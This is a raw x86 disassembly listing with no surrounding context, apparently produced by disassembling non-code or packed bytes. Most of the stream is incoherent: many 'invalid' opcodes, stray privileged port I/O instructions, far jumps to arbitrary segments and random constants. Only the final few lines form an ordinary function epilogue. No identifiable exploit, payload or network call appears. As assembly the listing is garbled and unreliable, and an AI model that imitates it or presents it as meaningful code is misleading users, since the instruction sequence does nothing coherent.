pop ecx
sbb bl, byte ss:[ebx - 0x3f]
cmp ebx, ecx
mov bh, 0x64
jns 0x6834d8a8
comiss xmm1, dword [ebx - 0x11457fd9]
sal dword [ebp + edx - 0x51], 0x1c
jp 0x6834d8a8
sub al, 0x8c
adc edx, esi
add al, 0x36
imul ecx, dword [esi + 0x79], 0xf7078b92
invalid
out dx, eax
outsd dx, dword [esi]
invalid
dec edx
fisubr dword [0x60843ad2]
mov ch, 0xb3
rol byte cs:[eax], 0x10
invalid
mov esp, 0x6c1a1e32
jnp 0x6834ed2a
dec edx
in eax, 5
fisub dword [di + 0x7212]
and eax, 0x1cb1ebfa
inc esp
sbb al, 0x9d
xor ebp, dword [edi + 0x5365cb4b]
cwde
cmp eax, dword [edi - 0x1beb41f3]
arpl word [edx + 0x1cc8f04d], si
sbb al, 0x11
invalid
retf
or dword [0xfec607c4], esp
adc bl, byte [edx - 0x65]
bnd jb 0x6834f7d9
dec ecx
pop ebx
dec eax
invalid
or dword [ecx + 0xf], ecx
popal
rsqrtps xmm7, xmm1
invalid
sub byte [esi], ch
push eax
pop edx
jne 0x68350208
dec edx
xor eax, 0xe284e23d
dec ebp
mov byte [ebx - 0x23f0f004], dh
test byte [ebp - 0xe], bh
or dword [ecx], eax
push ebx
iretd
ja 0x6835019e
jmp 0x6835023f
mov edi, 0xde051d45
jb 0x6835027a
mov esp, dword [edi - 0x17655f22]
int3
fldl2e
iretd
ret 0x50b5
xchg ebx, eax
push ecx
mov esi, 0x10e08973
loope 0x68350c6d
xchg ecx, eax
mov dword [0x86ace9b2], eax
int3
xchg esi, eax
int3
xor byte [ebx + 0x6f59a3e8], dh
sbb bh, ah
xor edx, dword [edx]
pop ebx
cmp eax, 0xb6837529
mov ebx, 0x7d2368b7
cmp al, 0xdb
dec ebx
cdq
mov byte [0x80db8572], 0x9d
sub al, 2
sbb esp, dword [ecx + 0x4ba036d4]
invalid
loope 0x68352152
cmovbe ecx, eax
xor ebx, ebx
outsb dx, byte [esi]
lds eax, [ebx + 0x3d6f1a5b]
retf
mov ebp, 0x47052064
leave
mov edi, 0xe9d74b38
insb byte es:[edi], dx
xchg dword [esp + ecx*4], esp
wait
cmp esp, esi
sal dword [edi - 0x70], cl
and eax, dword [edi]
sub ah, byte ds:[edx - 0xfe85087]
and byte [ecx + 0x46d809ac], al
outsb dx, byte [esi]
loopne 0x683521ac
cmp byte [esp + ebx*4 + 0x51], al
sar dword [eax], 1
invalid
and al, 0x7b
ret 0x4a55
sbb al, 0xbb
cmp byte [ecx + 0x7d], bh
out 0x23, eax
mov dl, 0xd7
cwde
aaa
jmp 0x683521a1
leave
cwde
push ecx
nop
loopne 0x68352b6d
out 0xab, eax
cmp byte [ecx - 0x3c095d2a], cl
and eax, 0xcf585b50
in eax, dx
mov dh, byte [esi]
pop edi
int1
and dword [edx + 0xc296ec1], ecx
mov ebp, ss
cli
or al, 0x8c
aad 0xfa
invalid
adc dword [edi + 0x3202e91d], edx
std
outsb dx, byte [esi]
pop ebp
mov ch, 0xa2
call 0xa9f46d24
add dword ss:[ebp - 0x1e], eax
lea esi, [ecx]
adc dword [esi - 0x72], ecx
test al, 0xee
shl byte [eax], 0x32
pop ebx
xor dword [ecx - 0x34], 0x2d
inc eax
cmpsd dword [esi], dword es:[edi]
lds edi, [ebp - 0x1c]
sub ebp, edi
pop esi
adc al, 0xbb
dec ebx
in eax, dx
sub eax, edi
lodsd eax, dword [esi]
call 0xa2180ac3
ret 0x8a20
dec edx
ret 0xf71a
jne 0x68354ac9
sub ebx, 0x552e5b00
cmp eax, 0x23e335ae
aas
iretd
xchg edx, eax
mov bl, 0xd6
or eax, 0x8042540a
xor al, 0xc1
add ecx, dword [eax]
mov byte [ebp - 0x5b], ah
pmullw mm2, qword [edx]
xor ebp, dword [esi]
retf 0x269f
inc ecx
mov bl, 0x58
adc esi, dword fs:[edx + 0x54]
retf
mov cl, 0xfa
mov ah, 0xc3
xor ebx, ebp
inc esp
out 0x35, eax
push ebp
or esp, dword [eax]
invalid
jmp 0x68359311
sub cl, bl
fucom st(2)
or esp, dword [edx + 6]
fsubr st(6)
xor ah, dl
jbe 0x6835698b
mov edx, 0x8a892fc6
int3
cld
outsb dx, byte [esi]
push ds
mov eax, edx
imul ebx, edx, 0x87396e59
adc byte ds:[edi + 0x194b4077], dh
ljmp 0xdfb9
popal
jmp 0x68357391
cli
wait
inc edx
jecxz 0x68357ea2
je 0x68357ec1
out dx, al
add dword [eax + 0x4e2b0b7d], edi
aaa
into
loope 0x68357e7a
fld st(6)
mov ecx, 0xd104d49b
test dword [eax + 0x76], ecx
das
test byte [ebp + 0x5c], cl
inc esp
mov edi, 0x5160e831
mov dl, 0xf1
call 0xa96eef7e
add byte [ecx + 0x39], dh
inc ecx
sbb al, 0x9e
das
push ds
clc
mov al, 0x52
inc ebx
div dword [esi + 0x206e2cac]
push eax
dec esp
test byte [edi], bh
frstor dword [edi + 0x514bddf3]
ljmp 0xfc1c:0x66563772
pop ss
popal
test al, 0x99
movsb byte es:[edi], byte [esi]
dec esi
xchg dword [esp + edx*2 - 0x64], esi
push edi
insb byte es:[edi], dx
pop esp
push ebx
ret 0x30aa
jl 0x68357e98
ljmp 0xb80a:0x59a2ca18
ficomp word [edi - 9]
sbb byte [esi - 0x70], al
int3
js 0x683588a4
ret
nop
jmp 0x68359311
nop
mov eax, 0
mov ebx, dword [ebp - 4]
leave
ret